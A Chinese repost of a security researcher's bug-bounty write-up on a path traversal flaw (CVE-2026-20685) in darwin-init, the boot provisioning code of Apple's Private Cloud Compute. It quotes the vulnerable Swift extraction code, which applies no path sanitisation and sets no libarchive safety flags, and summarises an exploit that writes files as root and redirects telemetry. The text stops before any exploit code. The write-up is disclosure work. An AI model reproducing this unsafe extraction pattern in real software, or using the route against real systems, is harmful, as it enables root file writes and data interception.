      <title>超越提示注入：攻击 Apple 的 Private Cloud Compute</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496872&amp;idx=1&amp;sn=bcb96907cc6c254ebf7d651aaecdab63</link>
      <description>Drinor 在 PCC 供应代码 darwin-init 中发现路径遍历漏洞（CVE-2026-20685），可借启动窗口以 root 身份写文件、重定向推理遥测并绕过证明，获 Apple 赏金 $150,000。</description>
      <content:encoded><![CDATA[<p><span>Sentry</span> <span>2026-08-12 12:26</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1887f196&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgtNCJdDiaejxoIKnf9Rjvib4zkl1ibTUGfMCVgr4A4EcPBNoYdKDBaXanicBt4yaRAg2rCUxgG0zcXLiaDFhMM5gyh9RkjlT6QZrgI%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>Drinor 在 PCC 供应代码 darwin-init 中发现路径遍历漏洞（CVE-2026-20685），可借启动窗口以 root 身份写文件、重定向推理遥测并绕过证明，获 Apple 赏金 $150,000。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://blog.sentry.security/beyond-prompt-injection-hacking-apples-private-cloud-compute/" target="_blank">https://blog.sentry.security/beyond-prompt-injection-hacking-apples-private-cloud-compute/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Sentry</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Drinor 因 CVE-2026-20685（针对 Apple 的 Private Cloud Compute——Apple Intelligence 各项能力的推理骨干）获得了 $150,000 的奖励。</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这项工作是我对 Sentry AI 安全研究计划所做的贡献，该计划通过 SARC（Sentry 应用研究中心）运作。我们的 SARC 专注于评估那些随着 AI 走进日常技术而承载最大后果的系统。Private Cloud Compute 是这项工作的天然目标，因为它为 Apple Intelligence 背后的隐私保证提供了支撑。未来几周将发布一份更详细的技术论文，敬请期待！</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Private Cloud Compute 作为 Apple Intelligence 功能的核心组件正变得日益重要。它的设计目标是让服务器在处理你的数据时，能够提供接近 iPhone 在设备端为 AI 推理请求所给予的隐私保证。我在供应 PCC 节点的代码 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">darwin-init</span></code><span leaf="">中发现了一个路径遍历漏洞，它允许攻击者以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">root</span></code><span leaf="">身份写入文件，并破坏了 PCC 中的隐私和安全保证。Apple 将其编号为 CVE-2026-20685。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我是通过 Apple 的 Virtual Research Environment 发现该漏洞的。这个利用相当酷，涉及在启动期间以 root 身份写入文件，并将节点的推理（及其他）遥测数据重定向到我控制的一台服务器。我认为这是一个相当有趣的发现。除了利用本身，我还将更详细地解释 PCC 是什么，以及它的保证对 Apple 和在其产品中集成 AI 为何重要。然后我会谈谈启动窗口、易受攻击的组件本身，最后是利用及其相关影响。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">什么是 PCC，它如何与 AI 相关联</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Private Cloud Compute 是 Apple 的服务器端基础设施，用于处理那些太大或太复杂而无法在手机上运行的 Apple Intelligence 请求。Apple 对其的隐私声明建立在三个重要机制之上。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px 0px 15px;"><strong><span leaf="">无状态。</span></strong><span leaf="">节点在内存中处理请求，不跨请求或重启保留任何用户数据。</span></p><p style="margin: 15px 0px;"><strong><span leaf="">可证明。</span></strong><span leaf="">在你的设备发送任何内容之前，它会根据公开的透明日志进行加密验证，确认该节点只运行 Apple 发布的软件。</span></p><p style="margin: 15px 0px 0px;"><strong><span leaf="">密封的可观测性。</span></strong><span leaf="">日志和指标通过密封的审计表传递，因此只有特定的预先批准字段才能离开节点。</span></p></blockquote><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">定义</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">几个术语有助于澄清博客其余部分的内容。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">一个 </span><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">PCC 节点</span></strong><span leaf="">是集群中的一台服务器，一个加固的 DarwinOS。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">一个 </span><strong style="margin-top: 0px;"><span leaf="">cryptex</span></strong><span leaf="">是一个加密密封的扩展，一个在启动时挂载到节点上的签名代码和数据包；PCC 将其操作系统和服务作为 cryptex 交付。</span><strong style="margin-bottom: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">darwin-init</span></code></strong><span leaf="">是启动节点上的第一个用户空间进程，PID 1，以 root 身份运行：它获取节点的配置，下载并提取 cryptex，安装它们，并触发一次用户空间重启以进入运行中的系统。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">VRE</span></strong><p><span leaf="">（Virtual Research Environment）在虚拟机中启动一个真实的 PCC 镜像，以便研究人员测试它。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><span leaf="">信任边界</span></strong><p><span leaf="">是 Apple 划定的 PCC 内部（你的数据受保护）与外部（不受保护）之间的界限，而 </span><strong style="margin-bottom: 0px;"><span leaf="">attestation（证明）</span></strong><span leaf="">是你的设备在信任节点之前检查其真实性及只运行已发布软件的方式。</span></p></li></ul><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">启动窗口：darwin-init 以 root 身份运行</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PCC 节点的第一个用户空间进程是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">darwin-init</span></code><span leaf="">，PID 1，root。它解析配置源，下载系统 cryptex，提取它们，个性化并安装它们，然后触发一次用户空间重启（USR），使稳态服务启动。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关于该启动窗口有两个重要事实。首先，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">darwin-init</span></code><span leaf="">在运行任何强制节点稳态假设的服务之前以 root 身份向可写数据卷写入。它留在磁盘上的任何内容在节点启动时都存在。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其次，Cryptex 一次安装一个。其检查将结果与请求的配置进行比较。如果一个 cryptex 安装失败，检查失败，USR 无法继续，导致节点挂起且没有任何服务。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="PCC 架构，展示 darwin-init cryptex 流水线和空的 validate(cryptexConfig:) 桩函数" class="rich_pages wxw-img" data-imgfileid="100013211" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=16ff118c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgfmKGZrAN3vzM1qy441WzXYU1FxzQOheVSfO4C5W1JWp5o14Lr69VoHpibmWTRCCbaEysGkSNMwia131mDMZOCppicM3VTtPRqoE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">PCC 架构，展示 darwin-init cryptex 流水线和空的 validate(cryptexConfig:) 桩函数</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">图 1. PCC 节点如何启动。</span></strong><em><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">darwin-init</span></code></em><span leaf="">解析其配置、获取并提取 cryptex、运行空的 </span><em><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">validate(cryptexConfig:)</span></code></em><span leaf="">桩函数、个性化并安装，然后触发启动后服务的用户空间重启。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">PCC 的提取器</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">darwin-init</span></code><span leaf="">下载一个构件时，它会读取前四个字节来选择一个提取器。</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">魔数</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">类型</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">提取器</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AEA1</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Apple 加密归档</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">extractAppleEncryptedArchive</span></code></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AA01</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Apple 归档</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">extractUncompressedAppleArchive</span></code></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">其他</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">tar / gz / bz2 / zip / cpio</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">extract(to:)</span></code></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">tar 归档的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ustar</span></code><span leaf="">签名位于字节偏移 257 处，远远超出四字节窗口。由于 tar 不匹配任何已知魔数，它会落入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">default</span></code><span leaf="">分支并进入通用的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">extract(to:)</span></code><span leaf="">。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">易受攻击的函数</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">extract(to:)</span></code><span leaf="">执行以下操作：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">guard</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> cStr = </span><span style="color: rgb(0, 92, 197);"><span leaf="">archive_entry_pathname</span></span><span leaf="">(entry) </span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf=""> }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> str = </span><span style="color: rgb(0, 92, 197);"><span leaf="">String</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">cString</span></span><span leaf="">: cStr)</span><br/><span style="color: rgb(106, 115, 125);"><span leaf="">// 更新相对于输出目录的条目路径名</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> pathname = path.</span><span style="color: rgb(0, 92, 197);"><span leaf="">appending</span></span><span leaf="">(str)</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">archive_entry_set_pathname</span></span><span leaf="">(entry, pathname.</span><span style="color: rgb(0, 92, 197);"><span leaf="">description</span></span><span leaf="">)</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">条目名称直接来自归档，并追加到输出目录后面，没有任何净化/验证。从其提取选项可以确认这一点：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> options = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_PERM</span><br/><span leaf="">            | ARCHIVE_EXTRACT_ACL  | ARCHIVE_EXTRACT_FFLAGS</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些选项保留时间戳、权限、ACL 和文件标志。然而，libarchive 的安全标志一个都没有设置，导致 libarchive 会写入条目名称所指向的任何位置，并返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ARCHIVE_OK</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: 